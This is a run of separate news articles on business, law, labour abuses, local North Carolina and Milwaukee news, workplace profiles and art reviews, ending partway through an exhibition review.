Ambition and entrepreneurial spirit was cited by 30% of CEOs surveyed as a key stimulant to growth. Industry research shows a strong positive correlation between collaboration and innovation. Leveraging the cloud and enterprise social networking can support anytime anywhere collaboration for business that knows no boundaries, allowing organisations to capture innovation upside.Epicor commissioned its own research, undertaken by MORAR Consulting, which primarily focuses on what Epicor calls 'tech savvy millennials' , and shows that millenials are expected to account for 75% of the global workforce by 2025  but that business executives are not thinking too much about recruiting millennials.According to Epicor, the growth in the number of millennials in the global workforce underscores the need to address human capital and next-generation workforce requirements to fuel business growth.But the Epicor research reveals that globally only 39% of business execs surveyed said recruiting millennials was a fairly significant or major focus for their organisations, revealing what Epicor says is a critical disconnect as technology leadership and a skilled workforce were top growth stimulants identified by those polled.In Australia, according to the research, this number (business execs saying they will recruit millennials) was markedly less at 27%.Epicor says the research shows that the manufacturing industry worldwide increasingly relies on technology to drive growth, and its estimated that nearly 3.5 million manufacturing jobs will need to be filled in the US over the next decade. The research also notes that, with the working age population shrinking and Baby Boomers heading into retirement, millennial talent will be a key element to drive business growth in the next decade.The relative indifference in recruiting millennials to the workplace is especially surprising considering they are the fastest-growing generation in the US workforce, and are both technology proficient and digital literate, Fleischaker observes.Businesses that recognise and move to leverage millennial talent can gain significant competitive advantage in todays age of digital disruption.Our research reveals many human resource challenges stand in the way of business growth that technology can help address. Organisations must re-think their relationship with digitally-literate workers and retool their organisations to attract, connect and empower this next-generation workforce via cloud, mobile, analytics and other enabling technologies.According to Fleischaker, considering millennials are the fastest-growing generation in the US workforce, and are both technology proficient and digital literate, businesses that recognise and move to leverage millennial talent can gain significant competitive advantage in todays age of digital disruption.Our research reveals many human resource challenges stand in the way of business growth that technology can help address. Organisations must re-think their relationship with digitally-literate workers and retool their organisations to attract, connect and empower this next-generation workforce via cloud, mobile, analytics and other enabling technologies, Fleischaker advises.According to the Epicor research, many organisations are working to develop the technology infrastructure that is necessary to attract and support the workforce of the future, with 79% of business leaders surveyed making, or are making, investments in integrated IT infrastructure.Sitting at the intersection of workers and systems to unite information and execution, technology plays a vital role in reducing complexity, improving the quality of work life, and enhancing productivity, Fleischaker says.Freeing valuable staff from mundane tasks was considered important by 68% of those polled whereas using technology to automate key processes, along with allowing key individuals to focus on more stimulating tasks, was cited as a top goal of 67% of those surveyed.Whats more, technology is necessary to prepare businesses for the next iteration of work encompassing robotics and artificial intelligence. Today were talking about workforce strategies concerning millennials. Tomorrow well be talking about key considerations in the next workplace evolutionwhen millennials meet machines, Fleischaker concludes.
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An 18 month investigation was led by Martha Mendoza of the Associated Press, into the hidden world behind seafood distribution in America. Mendoza's investigative journalism earned her a Pulitzer Prize for Public Service. She exposed the use of slave labor in South East Asia.

Hari Sreenivasan sat down with the Associated Press reporter Martha Mendoza to discuss the shocking expose that freed over 2,000 slaves after the report was made public. According to PBS, Mendoza tracked the widespread use of slave labor in South East Asia that supplies the various seafood products and items in American restaurants and supermarkets.

The supply chain trail led the reporting team to track the slave-produced seafood items to Wal-Mart, Safeway, Sysco, Albertsons, and products like Fancy Feasts and Iams as well. The Associated Press expose was able to uncover the harsh slavery conditions behind the scenes. Fishermen were beaten and caged.

The AP team worked with human rights activists who have connections with captive slaves and freed or escaped captives. Esther Htusan, one of the AP reporters, flew to Burma and was able to find a den of slave workers. They were shoving pieces of papers in their hands with their parents' names and phone numbers and their villages begging to tell their families back home that they were alive. The report also exposed a graveyard of bodies that were once slave workers.

Mendoza says, "A lot of time, when you're in a supermarket, you're going to see a piece of fish under some clear plastic wrap with a label on it. It's not even going to say which distributor it came from. So, there was a lot of steps in between."

The paper trail was uncovered between these fishing suppliers and the grocery stores in the United States when the team documented the seafood being loaded up from boats, to cargo ships, to Thailand factories, to delivery trucks and eventually to American destinations.
Most employers are looking to hire candidates who have a clean background history. Many employers conduct reference and background checks from previous work places to make sure the person they're planning to hire is the right fit for the business organization.

But if a candidate has a criminal history, is it legal to pry that lid open and deny the candidate the chance at employment because of it? Business News details that the answer depends on where the interview takes place because the laws in each state vary. Other factors that also should be considered are: depends on when it was asked, who asked, who is being asked and what will be done with the information.

Elan Parra, the Managing Director of NYC's investigative firm, Lemire, says that there are a lot of technicalities involved.

The U.S. Equal Employment Opportunity Commission (EEOC)states that employers can ask job applicants about their criminal background but that doesn't mean you get a free pass to turn down the applicant. In addition, the EEOC also specified that employers can't use an arrest alone to justify not hiring someone, because an arrest is not a conviction.

Carol Miaskoff, who works as an assistant legal counsel with the EEOC says that the point is how the information was used. For example, if an employer finds out about a conviction and uses it to turn away an African-American candidate but hires a white candidate with the same or very similar record, it would be considered discrimination, according to the EEOC.

"They should be focused and they should be thoughtful in terms of what kind of criminal record and for how long," Miaskoff said. "Is it really relevant to your job selection?"

To keep employers' bases covered, the Fair Credit Reporting Act restricts what employers can do when it comes to researching candidates using third-party reports - that means credit histories and criminal background checks.

First, FCRA requires that employers get the applicant's written permission to do a background check, which has to be a completely separate piece of paper from the application. If anything questionable turns up on the report, the employer must give the applicant a copy and tell him or her about FCRA protections before taking action based on the report. Finally, the employer must send the applicant notice if it decides not to hire or promote because of the report.
A recent report coming from the German magazine Handelsblatt indicates that both Daimler and BMW have dropped its talks with Apple Inc for its car project over the issue of controlling customer data.

The news about the mysterious Apple Car with the code-name "Project Titan" have been hidden in a paywall, but with the good graces of some of The Verge staffers, certain details that led to the break-down of talks between the German and American companies have surfaced.

The Verge report says: "Apple wants the car to be closely built into its own cloud software, while the German carmakers have made customer data protection a key element of their future strategy."

The report posits that BMW opted out of the discussions over helping Apple with its development of its car or car-technology last year, after the computer company's officials toured the German carmaker's technically advanced BMW i factory.

The Cupertino, CA-based company did not confirm if it is working on an electric and semi-autonomous car. However, if this is true, it would need a veteran car maker to help it go through the very expensive and tricky technology of car manufacturing.

With its talks with BMW and Daimler Benz bogging down, its list of potential partners is dangerously getting shorter.

Tim Cook, Apple CEO toured the Munich headquarters of BMW last year and its senior officials visited the car maker's Leipzig factory to see how BMW's i3 electric car is made. But a little later, BMW and Apple ended their negotiations.

There is still one auto-maker that is in the running to make the Apple Car - Magna, a Canadian-Austrian manufacturer.

Meanwhile, Frankfurter Allgemeine, a German publication, reported recently that the American tech giant has developed a "secret lab" in Berlin where it has "poached" or assembled a team of about 15 to 20 engineers collected from a few German car companies. Could this team be the one to do it?
Comcast has recently fired back at the Federal Communications Commission for its set-top-box proposal by making its entire TV lineup on Samsung smart TV and Roku devices available for the first time without the need for customers to rent or lease its proprietary box.

In this regard, the cable company unveiled on Wednesday its program that is compatible with any and all device makers to provide the app for a wider audience.

"We remain committed to giving our customers more choice in how, when and where they access their subscription," said Mark Hess, Comcast Cable senior vice president in the Office of the Chief Technology Officer.

This move of the cable company comes at a time when a heated debate is raging in Washington, D.C. over the merits of a recent initiative from the White House and the FCC that forces cable operators to disconnect their cable TV service from proprietary set-top-boxes which were leased to their customers.

This cable owner-customer arrangement was a necessary evil for subscribers. But with this recent Comcast move, this set up will be a thing of the past. The cable giant will bring its Xfinity app to Samsung TVs and Roku devices as an integral part of this service.

This means Xfinity cable subscribers can take advantage of the cable service without the added cost of renting a Comcast set-top-box. Additionally, if they are still using the Xfinity TV guide, they can enjoy live and on demand TV programming, and may be cloud DVR recording as well.

But the FCC said its "Unlock the Box" program will give customers more choice, with the goal of reducing prices and providing better access to internet video choices. FCC's plan requires open standards to enable device makers to easily get access to pay-TV content and channel listings.
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A federal judge and the Big Three tobacco manufacturers have reached an agreement on five here is the truth corrective statements for cigarette marketing.

Judge Gladys Kessler ruled in November 2012 that cigarette marketing should carry the overarching preamble: A federal court has ruled that the defendant tobacco companies deliberately deceived the American public about the health effects of smoking, and has ordered those companies to make this statement.

In May 2015, a U.S. Appeals Court ruling found that Kesslers preamble exceeded, in part, the District Courts authority, saying the preamble reveals nothing about cigarettes. Instead, they disclose defendants prior deceptive conduct.

After all  the statute reads prevent and restrain, not prevent, restrain and discourage.

The consent order, approved Tuesday, strips that preamble and replaces it with a federal court has ordered Altria, R.J. Reynolds Tobacco, Lorillard and Philip Morris USA to make this statement about the addictiveness of smoking and nicotine. The ruling affects ITG Brands LLC, the successor to Lorillard Inc.

The compromise did not include a trigger date for when the ads would start. Altria Group Inc. spokesman Brian May said Friday that the trigger date is the date on which all appeals are exhausted.

The manufacturers filed their latest appeal with the U.S. Appeals Court for the District of Columbia on April 8.

"We continue to object to the content of the corrective communications, including the language in the preamble, and intend to pursue the appeal, May said.

Kessler said the order is the complete agreement of the parties as to corrective statements and supersedes any prior negotiations, agreements or understandings of the parties.

Kessler ordered the corrective statements appear on company websites, cigarette packages, prime-time network television ads and in newspaper ads in the front section of Sunday editions. The ad will not appear in the Winston-Salem Journal, but it will in The Charlotte Observer. Each newspaper ad will feature one of the five corrective statements. The 260 TV spots will run over a 52-week period

The manufacturers filed a joint appeal of Kesslers ruling in January 2013. They have tried to persuade Kessler to reject the statements, calling them forced public confessions in legal filings.

The compromise does not include Reynolds complaint that it should not have to run additional ads related to its 2004 purchase of Brown and Williamson Tobacco Corp.

The manufacturers have said the 2009 Tobacco Control Act eliminated any reasonable likelihood the companies would commit future violations, thus making the need for corrective statements moot.

Responding to the May 2015 appellate ruling, Kessler said the federal government has agreed to remove deliberately deceived the American public from the preamble. But Kessler said the phrase Here is the truth remains appropriate to begin each corrective statement.

The U.S. government filed a lawsuit in 1999 against the nations largest tobacco manufacturers.

The initial ban on labels  such as low tar, light and mild  was part of Kesslers landmark 2006 ruling that found the manufacturers guilty of racketeering and fraud for deceiving the public about the dangers of smoking, in particular whether certain products were marketed with an expressed or implied lower-risk health message or descriptor.

Kessler ruled that cigarettes marketed as low tar, light and mild have been found to be no safer than others.

In May 2009, a U.S. Court of Appeals panel unanimously upheld requirements that manufacturers change the way they market cigarettes. The Food and Drug Administration banned the use of the labels in June 2010.
Forsyth County deputies are checking leads gathered from their interviews with the family and friends of a missing Clemmons woman in their efforts to find her, authorities said Friday.

Authorities used bloodhounds and a N.C. Highway Patrol helicopter to search Tanglewood Park Thursday for Gayle Annette Fleming, 63, of Lake Cliff Drive, who was reported missing Monday, said Maj. Danny Carter of the Forsyth County Sheriff's Office. A relative contacted authorities after Fleming didn't return home on Sunday morning.

Deputies found her red vehicle Wednesday in a parking lot near the Tanglewoof Dog Park, Carter said. Fleming's dog was not with her when she was last seen.

Carter said that deputies didn't find any clues about Fleming's whereabouts at the park and have ended their search there.

They have no indication that foul play was involved in her disappearance, Carter said.

Deputies with bloodhounds also searched around the Fleming home in Clemmons and at the park where her vehicle was found, Carter said.

The N.C. Center for Missing Persons has issued a Silver Alert for Fleming, who is believed to be suffering from some form of cognitive impairment.

She is white and has short gray hair and hazel eyes. Shes about 5 feet 6 inches tall and weighs between 140 and 160 pounds, deputies said.

Anyone with information about Fleming is asked to call the Forsyth County Sheriffs Office at (336) 727-2112.
WCU chancellor has brain tumor

CULLOWHEE  Western Carolina University Chancellor David Belcher has informed the school that he has been diagnosed with a small brain tumor.

The Asheville Citizen-Times reports Belcher said in an email sent Thursday that the tumor is affecting his speech and expression.

Belcher said he is optimistic and in the process of talking with medical specialists to learn more. He also said Provost Alison Morrison-Shetlar will be his primary representative when he is unavailable.

School spokesman Bill Studenc said he had no additional details about Belchers condition or treatment.

Mother charged after toddler drowns

CARTHAGE  The mother of a toddler who wandered off and drowned in a small pond in Moore County is in jail on charges of involuntary manslaughter and child neglect.

Local media outlets report that 30-year-old Samantha Nacole Bryant of Carthage was arrested on Wednesday.

Authorities say that Bryants 23-month-old Rylan Ott was reported missing on April 14. Deputies found him unresponsive about two hours later in a small pond.

The child was taken to a hospital where he was pronounced dead.

Wildfires continue to burn across state

WILMINGTON  Wildfires continue to burn at each end of North Carolina.

Officials say a fire in Brunswick County has burned about 1,600 acres. Firefighters said Wednesday afternoon the blaze was about 70 percent controlled.

No injuries have been reported and no buildings have been damaged.

Air quality advisories are in effect for the area.

A huge fire in Hyde County has burned about 14,000 acres.

A fire near the North Carolina-Tennessee state line has burned about 800 acres.

The Associated Press
WASHINGTON  As President Obama completes his trip to Saudi Arabia, heres a surprising snapshot of what young Arabs think: Theyre scared about the Islamic State and terrorism; they yearn for more freedom and gender equality; they fear that the Arab Spring has made life worse; and theyre increasingly skeptical about the role of traditional religious values.

If these Arab reactions seem similar to what people would say in the West, maybe thats the real takeaway. Despite all the violence and extremism that plague the region, most young Arabs have sensible modern reactions. This isnt a world apart: Arab youths hate the turmoil thats wrecking their countries and want a better, more stable life.

This portrait of the Arab world emerges in a remarkable survey by the public-relations company ASDAA Burson-Marsteller and the polling firm Penn Schoen Berland. Its actually a time-lapse photo, because this Arab Youth Survey has been conducted annually for the past eight years. By reading the back issues, you can see hopes rising with the Arab Spring in 2011, and then crashing against the reality of violence and disarray.

Lets start with this years headlines: In face-to-face interviews with 3,500 youths in 16 countries, 77 percent of participants said they were concerned about the rise of the Islamic State and 76 percent said the group would fail in its ultimate goal of establishing a caliphate. Asked to explain why young people were attracted to the group, 24 percent cited lack of jobs, but a larger 25 percent chose the answer: I cant explain it  I dont understand why anybody would want to join.

One intriguing finding of this study is that Arab youths are increasingly dubious about the role of religion and traditional values. Asked if they agreed with the statement Religion plays too big of a role in the Middle East, 52 percent said yes this year, with 61 percent of those in Arab Gulf countries, including Saudi Arabia, sharing that view.

Womens rights also get strong support: 67 percent of young Arabs said their leaders should improve the personal freedom and human rights of women. This progressive view had roughly equal support from young Arab men (66 percent) as women (68 percent). By the way, an even number of men and women were surveyed.

What kind of country do these young Arabs want to live in? The overwhelming answer in 2016, for the fifth year running, was the United Arab Emirates  a Muslim country that is increasingly open, tolerant, prosperous and adapting to the modern world.

The previous installments show how far the region has traveled over the past decade. In the 2009 and 2010 surveys, there was a yearning for democracy, with at least 90 percent of the respondents in most countries saying that living in a democratic country was important to them. But they still embraced a traditional world: 68 percent said their religion defined them as a person, and men were far less likely than women to support equal opportunity in the workplace. This Arab conservatism had eroded by 2014, when the percentage who agreed that traditional values mean a lot to me had fallen to just 54 percent from 83 percent in 2011.

The hurricane of the Tahrir Square uprising that toppled Egyptian President Hosni Mubarak in February 2011 was vividly captured by the survey. In January that year, 82 percent of Arab youth supported traditional values. A month later, that number had fallen 11 points. Those describing their political views as liberal jumped from 20 percent in January to 51 percent the next month. Young people overwhelmingly supported the overthrow of Mubarak in Egypt and the autocratic rulers of Libya and Yemen.

The optimism and idealism of the Arab Spring were real. But so was the disillusionment that followed. The share who agreed that Following the Arab spring, I feel the Arab world is better off collapsed from 72 percent in 2012 to just 36 percent in 2016. Egyptians bucked that pessimistic trend, with 61 percent still positive this year about their revolution.

Heres what I draw from this survey: Young Arabs are sadder but wiser; they want a freer, more modern life; and theyre skeptical about easy answers from religion or democratic elections. They know theyre in a long transition, and theyve become more pessimistic, but they still affirm in each survey, Our best days are ahead of us.

A simple summary: Dont give up on the Arabs. Theyre living through hell, but they want the same modern, secure world that most people do.
A large mixed-use development proposed for Greenfield has received city design approval, paving the way for construction to begin this summer. Credit: Rinka Chung Architecture

Land and Space Journal Sentinel business reporter Tom Daykin talks about commercial real estate and development. SHARE

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A large mixed-use development proposed for Greenfield has received city design approval, paving the way for construction to begin this summer.

The Common Council approved the $115 million 84 South project at its Tuesday night meeting, said Chuck Erickson, community development manager.

The project is being led by Cobalt Partners LLC, which is developing Whitestone Station, a similar mixed-use project, in Menomonee Falls.

Cobalt's Greenfield plans are for around 400 apartments and more than 350,000 square feet of commercial space on nearly 50 acres, between I-894, W. Layton Ave., S. 84th St. and S. 92nd St.

The commercial space is to include stores, restaurants, a medical office building, a fitness center and a hotel.

The project's first phase will be two multitenant retail buildings, with 143,000 square feet and 123,000 square feet, in the site's northern portion along I-894, said Scott Yauck, Cobalt president.

Those buildings will have 11 retail tenants, he said Wednesday.

The only announced tenant so far is Steinhafels Furniture. It will move from its current location, 8400 W. Layton Ave., and that building will then be demolished as part of the 84 South development.

Steven Steinhafel, the furniture store chain's marketing director, said the new location will be different from a traditional Steinhafels, mainly so it fits 84 South's vision, according to a GreenfieldNow.com article by reporter Jane Ford-Stewart.

"By far this will be the most distinct store," he said.

The Common Council in August approved plans to spend $10 million to help Cobalt finance its land acquisition costs, and $19.7 million on new streets, sewers, water mains and other public improvements at the site.

Greenfield will borrow $33 million to finance those costs, along with fees and capitalized interest, through a new tax incremental financing district at the development site.

The new property taxes generated by 84 South will pay back those funds, and interest, by 2037, according to the city's estimate.

Cobalt has acquired a former school and other properties at the site, with most of them since demolished.

(Rendering courtesy of Rinka Chung Architecture)
Delta Defense training counselor Heather Borland (left) coaches executive assistant Laura Otto on basic shooting skills using laser training pistols. Credit: Michael Sears

SHARE Delta Defense workers hold a brainstorming session. The West Bend business specializes in education, training and self defense insurance for responsible gun owners. Michael Sears Kris Gostomski, Affiliate Manager (left foreground) and Robb Conlon (right foreground), Process Consultant help clients purchase services from the company over the phone. Michael Sears Part of Deltas business is the U.S. Concealed Carry Association, which specializes in Education, Training and Self Defense Insurance for responsible gun owners. Here a workout area for employees. A room built as a safe at far left, houses the cardio equipment. Michael Sears Employees are given the opprotunity for a variety of training from the company's training counselers. Here a pair of training counselers coach their fellow employees on basic handgun shooting skills using specially designed laser training pistols at targets. Michael Sears The Milwaukee Journal Sentinel's Top Workplaces section recognizes the best places to work in southeast Wisconsin. Go to the 2016 section

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Advocating for handgun owners and self-protection training is Tim Schmidt's passion  as well as his business.

Schmidt is the founder of Delta Defense and the U.S. Concealed Carry Association, of West Bend, which publishes Concealed Carry magazine  promoted as "the nation's #1 defense magazine for self-reliant citizens."

Delta Defense supports the member-owned association, and its employees sign up new members and market books and videos on concealed-carry issues.

Founded in 2003, Delta Defense now has 84 employees and plans for several hundred new hires over the next six years. To accommodate the growth, the company is moving from the former Museum of Wisconsin Art building in downtown West Bend to a new 60,000-square-foot headquarters on the city's south side.

Delta Defense trains concealed-carry firearms instructors. Another related enterprise it operates is "Armed American Radio," a talk show on gun issues carried by more than 120 radio stations.

Schmidt, a former mechanical engineer, said he found his calling for gun rights and concealed carry after the birth of his first child, when he wanted to learn more about how to protect his family.

"I kind of realized that it was up to me," Schmidt said, adding that it was difficult for someone not familiar with firearms to find good information.

"A lot of times you go into a gun shop and there's a stern guy across the counter staring at you. That was what I experienced," Schmidt said.

"What started out as my research and investigation turned into a small business and then a larger business," he added.

One benefit of membership in the Concealed Carry Association is liability insurance for using a gun in self defense. Sales of the insurance and other products have soared as the association has grown.

"Our goal is to help everyone go from being someone who has no knowledge of self defense to someone who feels they are a responsibly armed American," Schmidt said.

He believes the company has barely tapped the market for people wanting to become more involved with their protection.

"At this point, I see the majority of our growth coming from exactly what we are doing now. Like most entrepreneurs, I am a sucker for shiny objects. But there is so much opportunity, and this market is growing so fast, it's really important that we stay focused on it," Schmidt said.

Delta Defense offers its employees a 401(k) benefits match with no vesting period. It also has an office "mixer happy hour" the third Thursday of every month, partly for the benefit of introducing new hires to the company's culture.

The company has meetings where employees can openly share what's happening with their work, and it has daily meetings within departments to update people on what's new.

"If you don't like change, this isn't the place to be because it's constantly changing. We embrace change," said human resources manager Cynthia Zimmer.

The company has an on-site fitness center. It also offers massages and classes meant to promote healthy living.

"We always check with what the marketplace offers. We have generous paid time off, sick time, paid holidays, a 401(k) plan with a company match, and family medical coverage," Zimmer said. "We have very little turnover."

The company supports the West Bend Public Schools Foundation, the Downtown West Bend Association, Habitat for Humanity and Boys & Girls Clubs of America.

"We commit to multiple build dates with Habitat every year. It's a great opportunity for someone to work with people from different departments ... and sometimes do things out of their comfort zone," Zimmer said. "Masonry is not my thing, but I have done it."
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Debbie Beier had worked in the home mortgage industry for several years before joining GSF Mortgage Corp. eight years ago.

The contrast between GSF Mortgage and Beier's previous employer, industry giant Countrywide Financial Corp., was apparent from the first day.

"I like the ability to sit down with the president of the company and be able to make a decision," said Beier, GSF Mortgage general manager. "And being able to do that without going through the red tape."

GSF Mortgage, founded in 1995, has expanded operations to 25 states in part by providing a supportive atmosphere for its 230 employees, including 60 employees at the Brookfield headquarters, said Chad Jampedro, president.

"We realize that this business is cyclical," Jampedro said. "The intensity ramps up when our volume ramps up. When that occurs, the stress level increases."

By providing proper training and support, GSF Mortgage helps employees better handle those stressful periods, he said.

The mortgage lender is known for its close-knit environment, Beier said.

"I like the fact that most of our employees have been in the industry for a long time," she said. "We just know each other and understand the business. A lot of people have family members who work in their branch location."

Again, that's a contrast with Countrywide. It was the nation's largest mortgage lender and had 60,000 employees before it was sold to Bank of America in 2008  just as the housing market was collapsing.

Beier came to GSF Mortgage "as the industry was kind of falling apart," she said.

"I thought, if I am going to stick in the mortgage industry, I would rather go to a smaller company with more local presence," Beier said.

GSF Mortgage's employees have a work ethic that is stronger than what Beier has seen at other mortgage lenders.

"They will volunteer if they're off for the day to still read their emails at home," Beier said. "They are very dedicated to their job. I think that comes from the top down. They see all the managers getting their elbows dirty."

That was echoed by Alyssa Schwabe, GSF Mortgage's marketing manager.

"It is a very transparent company," said Schwabe, who's worked there since 2014. "Upper management always cares about everybody here. ... You never have to think you're alone on an island here."

Jampedro started at GSF Mortgage in 2001 as a loan originator, and was named president in 2013.

He previously worked with National City Mortgage Co., among the nation's largest mortgage lenders. GSF Mortgage's smaller size is an advantage when it comes to creating a good workplace, he said.

"We know all of our employees personally," Jampedro said.
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Peace broke out between Microsoft Corp. and Google just two days after European Union antitrust watchdogs sent the search-engine company another statement of objections partly triggered by Microsoft-backed lobbying.

Microsoft and Alphabet Inc.'s Google, two arch rivals in the U.S. technology world for more than a decade, reached a global agreement that they will stop fighting.

"Our companies compete vigorously, but we want to do so on the merits of our products, not in legal proceedings," Google said Friday in a statement. "As a result, following our patent agreement, we've now agreed to withdraw regulatory complaints against one another."

The acrimonious relationship had already started to thaw, with the duo resolving their long-running patent feud and Microsoft CEO Satya Nadella congratulating Sundar Pichai when he was named CEO of Google. The businesses are working together on Google's Angular JavaScript development framework, which is now making use of Microsoft's Typescript programming language and the two companies have sent emissaries to speak about it at one another's conferences.

The clash was most pronounced in Brussels, where Microsoft urged EU regulators to dish out similar treatment to its rival after being on the receiving end of vast antitrust fines.

Microsoft was once the most active and powerful forces in lobbying the EU to investigate Google's search practices. It helped to fund ICOMP, an industry group that aided many of smaller companies complaining about Google.

Microsoft was among the first to file antitrust complaints against Google that ultimately led to this week's statement of objections concerning its Android mobile-operating system. Microsoft's finger prints were also on last year's EU charge sheet over Google's comparison-shopping service.

Ciao, an advertising business then owned by Microsoft, filed one of the first antitrust complaints in Europe to Germany's Bundeskartellamt.

The Brussels-based European Commission took that over in 2010 before it launched its own sweeping probe into allegations that Google might hamper rivals and favor its own services above others in search results.

But it was also in Brussels that signs began to emerge of an end to the enmity. A senior executive told reporters at a cocktail earlier this year that the two companies were now friends. Microsoft also dropped out of ICOMP and another anti- Google group, FairSearch.

Cementing the new relationship, Microsoft said Friday it had agreed to "withdraw its regulatory complaints against Google, reflecting our changing legal priorities" and that it will "continue to focus on competing vigorously for business and for customers."
Indiana University students Monica Ball (from left), Abby Rekeweg, Alexandra Larson and Alexa Hankins were the winning team at the first Kohls Invitational case study competition. The team won $5,000 for its winning presentation. Credit: Kohl's Corp.

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You don't necessarily need to be a great employer to grasp the importance of the millennial generation.

But when it comes to the care and feeding of that huge cohort of young adults  the oldest now are in their mid-30s  employers on the Milwaukee Journal Sentinel's 2016 Top Workplaces list definitely have ideas.

Kohl's Corp., for example, grooms and encourages budding retail stars with a program that lets college business students make presentations to top executives.

Godfrey & Kahn systematically pairs young lawyers with a mentor.

And La Macchia Enterprises has a team that meets weekly to talk about attracting and retaining talent.

Millennials, born in the 1980s and '90s, now outnumber the baby boomers. And like that famously large generation, which is now moving into retirement, millennials have been analyzed and scrutinized in an effort to determine what drives them.

The results aren't entirely clear.

The Center for Generational Kinetics, a Texas-based research firm, for example, says millennials share an especially strong desire to know and believe in their employer's mission and purpose.

That sounds about right to Kohl's.

"They really want to make sure that what they do connects to something bigger, greater and something that they can really sink their teeth into," said Ryan Festerling, the nationwide retailer's executive vice president of human resources.

But San Diego State University psychology professor Jean Twenge has said the best research shows millennials to be no more altruistic in the workplace than other generations.

They also tend to see their jobs as less central to their lives, Twenge wrote in 2010 after reviewing the findings of studies on generational differences in work values.

Still, employers have a strong interest in millennials  out of necessity if nothing else.

They represent a third to half of the Milwaukee-area employees at La Macchia, the Bayside-based travel and technology company best known for its Funjet Vacations brand.

At Kohl's, their proportion is even greater  they make up more than half of all employees at the corporate offices in Menomonee Falls, and two-thirds of the company's merchant and omni-channel teams.

La Macchia is a sponsor of NEWaukee's Young Professional Week, and always is looking for fresh talent.

Kohl's keeps its corporate eye open, too.

One method the retailer uses is an annual competition in which teams of students from universities across the country  75 of them this year  propose solutions to a business issue Kohl's poses. The company sifts through the analyses and flies the top 12 teams to Milwaukee to present their ideas to high-level executives.

Festerling said it's a great experience for the students  and for Kohl's. Because millennials are such avid users of social media, he said, they spread word of the program and the company.

"It's just been a win-win for everybody," he said.

Godfrey & Kahn also believes strongly in connecting young employees with senior colleagues. The downtown Milwaukee law firm makes it a practice to pair young attorneys with a mentor, said Shannon Braun, an estate planning attorney who for several years has been part of Godfrey & Kahn's recruiting committee.

The idea squares generally with a finding by Ultimate Software and The Center for Generational Kinetics, which says millennials are much more likely to want frequent feedback on the job than members of other generations.

They also value collaboration, according to a report by New York marketing agency MRY.

That's something Godfrey & Kahn tries to encourage in multiple ways, including with the design of its new offices at 833 E. Michigan St.

Where the law firm was scattered over six floors at its old location, 780 N. Water St., it now occupies just three. And the firm deliberately designed its new space with open areas for informal meetings and a large cafe/lounge where colleagues can eat lunch together.

"We've really sort of thought about ways to maximize people's interaction with each other," Braun said.

Which should promote understanding no matter what the generation.
"Pedestrian Cloud Account: Peter Barrickman" Credit: Courtesy the Green Gallery

Mary Louise Schumacher Art City An online journal about visual art, the urban landscape and design. Mary Louise Schumacher, the Journal Sentinel's art and architecture critic, leads the discussion and a community of writers contribute to the dialogue. SHARE "Pedestrian Cloud Account: Peter Barrickman" Courtesy the Green Gallery "Sabbath Catalog" 2016. Micaceous Iron Oxide, acrylic, colored pencil, plastic text labels Courtesy the Green Gallery

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Peter Barrickman is keenly observant of how we live. He has accepted and synthesized the complexity of multiple influences, the dynamic facts of 21st-century life. His new paintings, full of color and found ideas, are reminiscent of a lonesome stroll in the city or the ways our memories are stored in the clouds, literal and digital.

Barrickman is creating an aura of the street. Thee new paintings are romantic and full of the silent witnessing one might experience meandering alone and observing details. Elements of the street, architecture and people, are analyzed out of context and sometimes viewed from the aperture of an airplane's window.

In "Sabbath Catalog" We see an erratic map of color-coded dots and squares signifying specific businesses in the neighborhood. "Starbucks, Berry Me, Eco-Pet" and the "Roman Coin" are humorously cataloged with a vintage label maker. One patch of the painting includes different colors of already-been-chewed gum as well as pieces of what appear to be brick or pavement. In the center, rays of yellow light appear to shine through branches.

Other paintings continue this creative examination of urban environs. "Night Files" displays horizontal rectangles in a range of beautiful blues, from sky to ice to midnight. They are painted depictions of sound files on the computer, the sound waves abstractly keeping time, buzzing to enlarge and diminish their codes of volume and richness. In fact, they are recorded sounds of the city by night, translated into paint.

There is also a grouping of smaller works on paper. They depict the wings of airplanes as seen from the windows of the loud seats of an exit row. From these obstructed views Barrickman leans his head out to count the stars, watch it rain and look down 30,000 feet to the blinking lights of a city he is visiting or has just left. These works pull the exhibit into coherence. We can see Barrickman, in the clouds, watching us from above.

"Pedestrian Cloud Account: Peter Barrickman," is on view at The Green Gallery, 1500 N. Farwell Ave., through May 14. For more information visit thegreengallery.biz

Rafael Francisco Salas is a painter, a professor of art at Ripon College and a regular Art City contributor.
Crib by Beth Lipman Credit: Jeffrey Machtig

Mary Louise Schumacher Art City An online journal about visual art, the urban landscape and design. Mary Louise Schumacher, the Journal Sentinel's art and architecture critic, leads the discussion and a community of writers contribute to the dialogue. SHARE Reaction by Brent Budsberg and Shana McCaw. Jeffrey Machtig Counterweight by Brent Budsberg and Shana McCaw. Jeffrey Machtig Installation view of Michelle Grabners paintings and cast bronze works that explore patterning in domestic objects. Jeffrey Machtig Michelle Grabners Untitled (detail), an oil on gesso on burlap on panel. Jeffrey Machtig

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The spaces that house art affect the way we experience it. Classic, modern gallery settings, with their tall white walls, have a way of isolating and aggrandizing art on view, while grungy warehouses can suffuse it with cliched bohemian chic. In the studio an artist's personality colors our view; while art in a home can be hard to disentangle from decor or the detritus of daily life.

In "Living Rooms," which features work by Beth Lipman, Michelle Grabner the collaborative duo Shana McCaw and Brent Budsberg, the John Michael Kohler Arts Center's curators have embraced this problem. The show is installed in the art center's oldest gallery, the original Kohler home built in the late 19th century and remodeled in the 1920s. Even unfurnished, it is a vibrant domestic space replete with bay windows, leaded and stained glass, red and green earthenware tile and dark oak woodwork.

As a gallery, it is intimate, familiar, and very distinctive; which is to say, a sometimes challenging place to install art. Over the years I've seen many exhibits in these rooms that might have been better served elsewhere. "Living Rooms," however, feeds off of the cozy confines beautifully.

In the brightest, largest rooms are two large clear glass sculptures by Lipman, an adult-sized rocking cradle and a slatted crib, one end of which appears to be sinking into the floor. Taken directly from furniture forms, they are scaled perfectly to the space; yet they exude a poignant absence, as if they were left behind, chilly and ghostlike, when the house was vacated. The glass cradle, modeled on Shaker forms made for the sick or aged, clearly refers to life's fragility, but the forlorn, sinking crib is more ambiguous. We are left to wonder: has it simply been broken and discarded? Was there a tornado, or a flood? What about the child?

